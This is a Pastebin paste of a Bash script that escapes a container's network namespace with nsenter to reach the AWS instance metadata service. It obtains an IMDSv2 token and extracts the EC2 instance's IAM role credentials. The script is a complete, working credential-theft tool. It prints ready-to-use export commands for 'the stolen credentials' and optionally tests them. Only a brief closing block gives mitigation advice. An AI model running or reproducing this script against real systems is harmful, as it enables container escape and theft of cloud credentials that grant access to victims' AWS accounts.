orenma

export_token.sh

Aug 16th, 2025
640
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 7.50 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2.  
  3. # Working Container Escape IMDS Extractor
  4. # Uses nsenter to escape container network namespace and access IMDS
  5. # Based on successful debugging that proved nsenter bypass works
  6.  
  7. echo "==== Container Escape IMDS Credential Extractor ===="
  8. echo "Timestamp: $(date)"
  9. echo "Container ID: $(hostname)"
  10. echo ""
  11.  
  12. DEBUG=${1:-""}
  13. VERBOSE=1
  14.  
  15. debug_log() {
  16.     if [[ "$DEBUG" == "--debug" ]]; then
  17.         echo "[DEBUG] $1"
  18.     fi
  19. }
  20.  
  21. error_log() {
  22.     echo "[ERROR] $1"
  23. }
  24.  
  25. success_log() {
  26.     echo "[SUCCESS] $1"
  27. }
  28.  
  29. warning_log() {
  30.     echo "[WARNING] $1"
  31. }
  32.  
  33. info_log() {
  34.     echo "[INFO] $1"
  35. }
  36.  
  37. # Check if we're in a container
  38. if [[ -f /.dockerenv ]] || grep -q docker /proc/self/cgroup 2>/dev/null; then
  39.     success_log "Container environment detected"
  40. else
  41.     warning_log "Not in container - running on host"
  42. fi
  43.  
  44. # Verify nsenter is available
  45. if ! command -v nsenter >/dev/null 2>&1; then
  46.     error_log "nsenter not available - cannot escape container network namespace"
  47.     exit 1
  48. fi
  49.  
  50. success_log "nsenter available for network namespace escape"
  51.  
  52. echo ""
  53. echo "=== CONTAINER ESCAPE TECHNIQUE ==="
  54. echo ""
  55.  
  56. info_log "Escaping container network namespace to access IMDS..."
  57. debug_log "Using: nsenter -t 1 -n (escape to host network namespace)"
  58.  
  59. # Function to execute commands in host network namespace
  60. host_network_exec() {
  61.     nsenter -t 1 -n "$@"
  62. }
  63.  
  64. # Test the escape technique first
  65. debug_log "Testing network namespace escape..."
  66. if host_network_exec echo "Network escape test successful" >/dev/null 2>&1; then
  67.     success_log "Container network namespace escape SUCCESSFUL"
  68. else
  69.     error_log "Container network namespace escape FAILED"
  70.     exit 1
  71. fi
  72.  
  73. echo ""
  74. echo "=== IMDS ACCESS VIA ESCAPED NETWORK NAMESPACE ==="
  75. echo ""
  76.  
  77. # Step 1: Get IMDSv2 Token via escaped network
  78. info_log "Step 1: Requesting IMDSv2 token via host network namespace..."
  79. debug_log "Command: nsenter -t 1 -n curl -s -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' http://169.254.169.254/latest/api/token"
  80.  
  81. TOKEN=$(host_network_exec curl -s -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token 2>/dev/null)
  82.  
  83. if [[ -n "$TOKEN" ]] && [[ ${#TOKEN} -gt 10 ]]; then
  84.     success_log "IMDSv2 token acquired via network escape!"
  85.     debug_log "Token preview: ${TOKEN:0:20}..."
  86. else
  87.     error_log "Failed to get IMDSv2 token via network escape"
  88.     debug_log "Token response: $TOKEN"
  89.     exit 1
  90. fi
  91.  
  92. # Step 2: Get IAM role name
  93. info_log "Step 2: Getting IAM role name via escaped network..."
  94. ROLE_NAME=$(host_network_exec curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
  95.  
  96. if [[ -n "$ROLE_NAME" ]]; then
  97.     success_log "IAM role found: $ROLE_NAME"
  98. else
  99.     error_log "Failed to get IAM role name"
  100.     debug_log "Role response: $ROLE_NAME"
  101.     exit 1
  102. fi
  103.  
  104. # Step 3: Get IAM credentials
  105. info_log "Step 3: Extracting IAM credentials via escaped network..."
  106. CREDENTIALS=$(host_network_exec curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
  107.  
  108. if [[ -n "$CREDENTIALS" ]] && echo "$CREDENTIALS" | grep -q "AccessKeyId"; then
  109.     success_log "IAM credentials extracted successfully!"
  110. else
  111.     error_log "Failed to extract IAM credentials"
  112.     debug_log "Credentials response: ${CREDENTIALS:0:100}..."
  113.     exit 1
  114. fi
  115.  
  116. echo ""
  117. echo "=== CREDENTIAL EXTRACTION AND PARSING ==="
  118. echo ""
  119.  
  120. # Parse credentials (handle both jq and manual parsing)
  121. debug_log "Parsing extracted credentials..."
  122.  
  123. if command -v jq >/dev/null 2>&1; then
  124.     # Use jq for parsing
  125.     ACCESS_KEY=$(echo "$CREDENTIALS" | jq -r '.AccessKeyId' 2>/dev/null)
  126.     SECRET_KEY=$(echo "$CREDENTIALS" | jq -r '.SecretAccessKey' 2>/dev/null)
  127.     SESSION_TOKEN=$(echo "$CREDENTIALS" | jq -r '.Token' 2>/dev/null)
  128.     EXPIRATION=$(echo "$CREDENTIALS" | jq -r '.Expiration' 2>/dev/null)
  129. else
  130.     # Manual parsing without jq
  131.     ACCESS_KEY=$(echo "$CREDENTIALS" | grep -o '"AccessKeyId"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
  132.     SECRET_KEY=$(echo "$CREDENTIALS" | grep -o '"SecretAccessKey"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
  133.     SESSION_TOKEN=$(echo "$CREDENTIALS" | grep -o '"Token"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
  134.     EXPIRATION=$(echo "$CREDENTIALS" | grep -o '"Expiration"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
  135. fi
  136.  
  137. # Validate extracted credentials
  138. if [[ -n "$ACCESS_KEY" ]] && [[ -n "$SECRET_KEY" ]] && [[ -n "$SESSION_TOKEN" ]]; then
  139.     success_log "Credentials parsed successfully"
  140.     debug_log "Access Key: ${ACCESS_KEY:0:10}..."
  141.     debug_log "Secret Key: ${SECRET_KEY:0:10}..."
  142.     debug_log "Session Token: ${SESSION_TOKEN:0:20}..."
  143.     debug_log "Expiration: $EXPIRATION"
  144. else
  145.     error_log "Failed to parse credentials"
  146.     debug_log "Raw credentials: $CREDENTIALS"
  147.     exit 1
  148. fi
  149.  
  150. echo ""
  151. echo "============================================"
  152. echo "# 🎯 CONTAINER ESCAPE SUCCESSFUL!"
  153. echo "# AWS Credentials Extracted via Network Namespace Escape"
  154. echo "============================================"
  155. echo ""
  156. echo "# 🚀 Escape Technique Used:"
  157. echo "#   Method: Network namespace escape using nsenter"
  158. echo "#   Command: nsenter -t 1 -n (escape to host network)"
  159. echo "#   Bypassed: Container network isolation blocking IMDS"
  160. echo ""
  161. echo "# 📋 Copy and paste these commands to use the stolen credentials:"
  162. echo ""
  163. echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\""
  164. echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\""
  165. echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\""
  166. echo ""
  167. echo "# 📅 Credentials expire at: $EXPIRATION"
  168. echo "# 🔍 Verify with: aws sts get-caller-identity"
  169. echo ""
  170. echo "============================================"
  171. echo "# 🛡️  Attack Impact Summary"
  172. echo "============================================"
  173. echo "✅ Container network namespace escape successful"
  174. echo "✅ IMDS hop limit restriction bypassed"
  175. echo "✅ IMDSv2 token obtained from host network context"
  176. echo "✅ IAM role credentials extracted: $ROLE_NAME"
  177. echo "✅ AWS API access gained with temporary credentials"
  178. echo ""
  179. echo "🚨 This demonstrates how container escapes can:"
  180. echo "   • Bypass AWS IMDS hop limit protections"
  181. echo "   • Access host network services from containers"
  182. echo "   • Steal EC2 instance IAM credentials"
  183. echo "   • Escalate privileges to AWS account level"
  184. echo ""
  185. echo "🛡️  Mitigation recommendations:"
  186. echo "   1. Enforce IMDSv2 with hop limit = 1"
  187. echo "   2. Use least-privilege IAM roles"
  188. echo "   3. Implement network policies blocking IMDS from containers"
  189. echo "   4. Monitor nsenter usage and container escapes"
  190. echo "   5. Use AWS IAM Roles Anywhere for container authentication"
  191. echo "============================================"
  192.  
  193. # Optional: Test the credentials
  194. if [[ "$DEBUG" == "--debug" ]] && command -v aws >/dev/null 2>&1; then
  195.     echo ""
  196.     debug_log "Testing extracted credentials..."
  197.    
  198.     # Set credentials in environment
  199.     export AWS_ACCESS_KEY_ID="$ACCESS_KEY"
  200.     export AWS_SECRET_ACCESS_KEY="$SECRET_KEY"
  201.     export AWS_SESSION_TOKEN="$SESSION_TOKEN"
  202.    
  203.     # Test with aws cli
  204.     echo "--- Credential Test ---"
  205.     aws sts get-caller-identity 2>/dev/null || echo "AWS CLI test failed (normal if aws not configured)"
  206.     echo "--- End Test ---"
  207. fi
  208.  
  209. echo ""
  210. success_log "Container escape and credential extraction completed!"
  211. info_log "Use the exported environment variables to access AWS services"
Advertisement